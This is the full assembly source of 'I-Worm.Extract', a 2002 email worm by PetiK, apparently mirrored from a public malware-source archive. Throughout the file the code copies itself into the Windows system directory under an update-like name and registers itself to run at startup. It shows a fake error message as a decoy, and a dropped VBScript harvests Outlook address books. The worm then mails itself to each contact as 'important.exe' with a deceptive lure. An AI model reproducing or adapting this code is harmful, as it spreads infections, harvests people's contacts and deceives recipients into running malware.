mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
480 lines
8.7 KiB
NASM
480 lines
8.7 KiB
NASM
comment #
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Name : I-Worm.Extract
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Author : PetiK
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Date : February 3rd 2002 - February 4th 2002
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Size : 5632
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Action :
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#
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.586p
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.model flat
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.code
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JUMPS
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api macro a
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extrn a:proc
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call a
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endm
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include Useful.inc
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include myinclude.inc
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start_worm:
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@pushsz "KERNEL32.DLL"
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api GetModuleHandleA
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xchg eax,ebx
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kern macro x
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push offset sz&x
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push ebx
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api GetProcAddress
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mov _ptk&x,eax
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endm
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kern CloseHandle
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kern CopyFileA
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kern CreateDirectoryA
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kern CreateFileA
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kern CreateFileMappingA
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kern DeleteFileA
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kern GetDateFormatA
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kern GetFileSize
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kern GetModuleFileNameA
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kern GetSystemDirectoryA
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kern GetSystemTime
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kern GetTimeFormatA
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kern GetWindowsDirectoryA
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kern lstrcat
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kern lstrcmp
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kern lstrcpy
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kern lstrlen
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kern MapViewOfFile
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kern SetCurrentDirectoryA
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kern Sleep
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kern UnmapViewOfFile
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kern WinExec
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kern WriteFile
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kern WriteProfileStringA
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kern WritePrivateProfileStringA
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push 50
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mov esi,offset orig_worm
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push esi
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push 0
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call _ptkGetModuleFileNameA
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push 50
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push offset verif_worm
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call _ptkGetSystemDirectoryA
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@pushsz "\UPDATEW32.EXE"
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push offset verif_worm
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call _ptklstrcat
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push esi
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push offset verif_worm
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call _ptklstrcmp
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test eax,eax
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jz continue_worm
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mov edi,offset copy_worm
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push edi
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push 50
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push edi
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call _ptkGetSystemDirectoryA
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add edi,eax
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mov eax,"dpU\"
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stosd
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mov eax,"Weta"
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stosd
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mov eax,"e.23"
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stosd
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mov eax,"ex"
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stosd
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pop edi
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copy_w: push 0
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push edi
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push esi
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call _ptkCopyFileA
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run_w: push edi
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@pushsz "RUN"
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@pushsz "WINDOWS"
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call _ptkWriteProfileStringA
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call CreateDate
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push 50
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push offset realname
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push offset orig_worm
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api GetFileTitleA
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@pushsz " - "
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push offset date
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call _ptklstrcat
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push offset realname
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push offset date
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call _ptklstrcat
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f_mess: push 10h
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push offset date
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call @mess
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db "Cannot Open this File !",CRLF,CRLF
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db "If you downloaded this file, try downloading again.",0
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@mess:
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push 0
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api MessageBoxA
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jmp end_worm
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continue_worm:
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push 50
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push offset vbsfile
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call _ptkGetWindowsDirectoryA
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@pushsz "\ExtractVbs.vbs"
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push offset vbsfile
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call _ptklstrcat
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push 0
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push 20h
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push 2
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push 0
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push 1
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push 40000000h
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push offset vbsfile
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call _ptkCreateFileA
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xchg eax,ebx
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push 0
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push offset octets
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push e_vbs - s_vbs
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push offset s_vbs
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push ebx
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call _ptkWriteFile
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push ebx
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call _ptkCloseHandle
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push offset vbsfile
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push offset vbsexec
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call _ptklstrcpy
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push 4
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push offset execcontrol
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call _ptkWinExec
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push 5000
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call _ptkSleep
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push offset vbsfile
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call _ptkDeleteFileA
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payload:
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push offset Systime
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call _ptkGetSystemTime
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cmp [Systime.wDay],29
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jne end_pay
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push 40h
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@pushsz "I-Worm.Extract"
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call e_mess
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db "Hi man, you received my worm !",CRLF
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db "Don't panic, it doesn't format your computer",CRLF,CRLF
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db 9,"Bye and Have a Nice Day.",0
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e_mess:
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push 0
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api MessageBoxA
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end_pay:
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sh_gsf: push 0
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push 5
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push offset progra
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push 0
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api SHGetSpecialFolderPathA
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push offset progra
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call _ptkSetCurrentDirectoryA
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@pushsz "Update Windows 32bits"
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call _ptkCreateDirectoryA
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@pushsz "\Update Windows 32bits"
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push offset progra
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call _ptklstrcat
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push offset progra
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call _ptkSetCurrentDirectoryA
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push 0
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@pushsz "MAJ.exe"
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push offset orig_worm
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call _ptkCopyFileA
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verif_inet:
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push 0
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push offset inet
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api InternetGetConnectedState
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dec eax
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jnz verif_inet
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push 50
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push offset winpath
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call _ptkGetWindowsDirectoryA
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push offset winpath
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call _ptkSetCurrentDirectoryA
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spread: pushad
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push 00h
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push 80h
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push 03h
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push 00h
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push 01h
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push 80000000h
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@pushsz "Outlook_Addr.txt"
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call _ptkCreateFileA
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inc eax
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je end_spread
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dec eax
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xchg eax,ebx
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xor eax,eax
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push eax
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push eax
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push eax
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push 2
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push eax
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push ebx
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call _ptkCreateFileMappingA
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test eax,eax
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je end_s1
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xchg eax,ebp
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xor eax,eax
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push eax
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push eax
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push eax
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push 4
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push ebp
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call _ptkMapViewOfFile
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test eax,eax
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je end_s2
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xchg eax,esi
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push 0
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push ebx
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call _ptkGetFileSize
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cmp eax,4
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jbe end_s3
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scan_mail:
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xor edx,edx
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mov edi,offset mail_addr
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push edi
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p_c: lodsb
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cmp al," "
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je car_s
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cmp al,";"
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je end_m
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cmp al,"#"
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je f_mail
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cmp al,'@'
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jne not_a
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inc edx
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not_a: stosb
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jmp p_c
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car_s: inc esi
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jmp p_c
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end_m: xor al,al
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stosb
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pop edi
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test edx,edx
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je scan_mail
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call send_mail
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jmp scan_mail
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f_mail:
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end_s3: push esi
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call _ptkUnmapViewOfFile
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end_s2: push ebp
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call _ptkCloseHandle
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end_s1: push ebx
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call _ptkCloseHandle
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end_spread: popad
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end_worm:
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push 0
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api ExitProcess
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send_mail:
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call CreateDate
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call CreateTime
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@pushsz "C:\liste.ini"
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push offset mail_addr
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push offset time
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push offset date
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call _ptkWritePrivateProfileStringA
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xor eax,eax
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push eax
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push eax
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push offset Message
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push eax
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push [sess]
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api MAPISendMail
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ret
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CreateDate Proc
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pushad
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mov edi,offset date
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push 32
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push edi
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@pushsz "dddd, dd MMMM yyyy"
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push 0
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push 0
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push 9
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call _ptkGetDateFormatA
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popad
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ret
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CreateDate EndP
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CreateTime Proc
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pushad
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mov edi,offset time
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push 32
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push edi
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@pushsz "HH:mm:ss"
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push 0
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push 0
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push 9
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call _ptkGetTimeFormatA
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popad
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ret
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CreateTime EndP
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.data
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copy_worm db 50 dup (0)
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orig_worm db 50 dup (0)
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verif_worm db 50 dup (0)
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vbsfile db 50 dup (0)
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winpath db 50 dup (0)
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progra db 50 dup (0)
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mail_addr db 128 dup (?)
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realname db 50 dup (0)
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date db 30 dup (?)
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time db 9 dup (?)
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octets dd ?
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inet dd 0
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sess dd 0
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subject db "Re: Check This...",0
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body db "Hi",CRLF
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db "This is the file you ask for. Open quickly ! It's very important",CRLF,CRLF
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db 9,"Best Regards",CRLF,CRLF,CRLF
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db "Salut,",CRLF
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db "Voici le fichier que tu cherches. Ouvre vite ! C'est tr<74>s important",CRLF,CRLF
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db 9,"Mes sinc<6E>res salutations",0
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filename db "important.exe",0
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Message dd ?
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dd offset subject
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dd offset body
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dd ?
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dd ?
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dd ?
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dd 2
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dd offset MsgFrom
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dd 1
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dd offset MsgTo
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dd 1
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dd offset Attach
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MsgFrom dd ?
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dd ?
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dd ?
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dd ?
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dd ?
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dd ?
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MsgTo dd ?
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dd 1
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dd offset mail_addr
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dd offset mail_addr
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dd ?
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dd ?
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Attach dd ?
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dd ?
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dd ?
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dd offset orig_worm
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dd offset filename
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dd ?
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szCloseHandle db "CloseHandle",0
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szCopyFileA db "CopyFileA",0
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szCreateDirectoryA db "CreateDirectoryA",0
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szCreateFileA db "CreateFileA",0
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szCreateFileMappingA db "CreateFileMappingA",0
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szDeleteFileA db "DeleteFileA",0
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szGetDateFormatA db "GetDateFormatA",0
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szGetFileSize db "GetFileSize",0
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szGetModuleFileNameA db "GetModuleFileNameA",0
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szGetSystemDirectoryA db "GetSystemDirectoryA",0
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szGetSystemTime db "GetSystemTime",0
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szGetTimeFormatA db "GetTimeFormatA",0
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szGetWindowsDirectoryA db "GetWindowsDirectoryA",0
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szlstrcat db "lstrcat",0
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szlstrcmp db "lstrcmp",0
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szlstrcpy db "lstrcpy",0
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szlstrlen db "lstrlen",0
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szMapViewOfFile db "MapViewOfFile",0
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szSetCurrentDirectoryA db "SetCurrentDirectoryA",0
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szSleep db "Sleep",0
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szUnmapViewOfFile db "UnmapViewOfFile",0
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szWinExec db "WinExec",0
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szWriteFile db "WriteFile",0
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szWritePrivateProfileStringA db "WritePrivateProfileStringA",0
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szWriteProfileStringA db "WriteProfileStringA",0
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_ptkCloseHandle dd ?
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_ptkCopyFileA dd ?
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_ptkCreateDirectoryA dd ?
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_ptkCreateFileA dd ?
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_ptkCreateFileMappingA dd ?
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_ptkDeleteFileA dd ?
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_ptkGetDateFormatA dd ?
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_ptkGetFileSize dd ?
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_ptkGetModuleFileNameA dd ?
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_ptkGetSystemDirectoryA dd ?
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_ptkGetSystemTime dd ?
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_ptkGetTimeFormatA dd ?
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_ptkGetWindowsDirectoryA dd ?
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_ptklstrcat dd ?
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_ptklstrcmp dd ?
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_ptklstrcpy dd ?
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_ptklstrlen dd ?
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_ptkMapViewOfFile dd ?
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_ptkSetCurrentDirectoryA dd ?
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_ptkSleep dd ?
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_ptkUnmapViewOfFile dd ?
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_ptkWinExec dd ?
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_ptkWriteFile dd ?
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_ptkWriteProfileStringA dd ?
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_ptkWritePrivateProfileStringA dd ?
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s_vbs: db 'On Error Resume Next',CRLF
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db 'Set f=CreateObject("Scripting.FileSystemObject")',CRLF
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db 'Set win=f.GetSpecialFolder(0)',CRLF
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db 'Set c=f.CreateTextFile(win&"\Outlook_Addr.txt")',CRLF
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db 'c.Close',CRLF
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db 'Set out=CreateObject("Outlook.Application")',CRLF
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db 'Set mapi=out.GetNameSpace("MAPI")',CRLF
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db 'adr="extractcounter@multimania.com"',CRLF
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db 'For Each mail in mapi.AddressLists',CRLF
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db 'If mail.AddressEntries.Count <> 0 Then',CRLF
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db 'For O=1 To mail.AddressEntries.Count',CRLF
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db 'adr=adr &";"& mail.AddressEntries(O).Address',CRLF
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db 'Next',CRLF
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db 'End If',CRLF
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db 'Next',CRLF
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db 'adr=adr &";#"',CRLF,CRLF
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db 'Set c=f.OpenTextFile(win&"\Outlook_Addr.txt",2)',CRLF
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db 'c.WriteLine adr',CRLF
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db 'c.Close',CRLF
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e_vbs:
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execcontrol db "wscript "
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vbsexec db 50 dup (0)
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db "",0
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end start_worm
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end |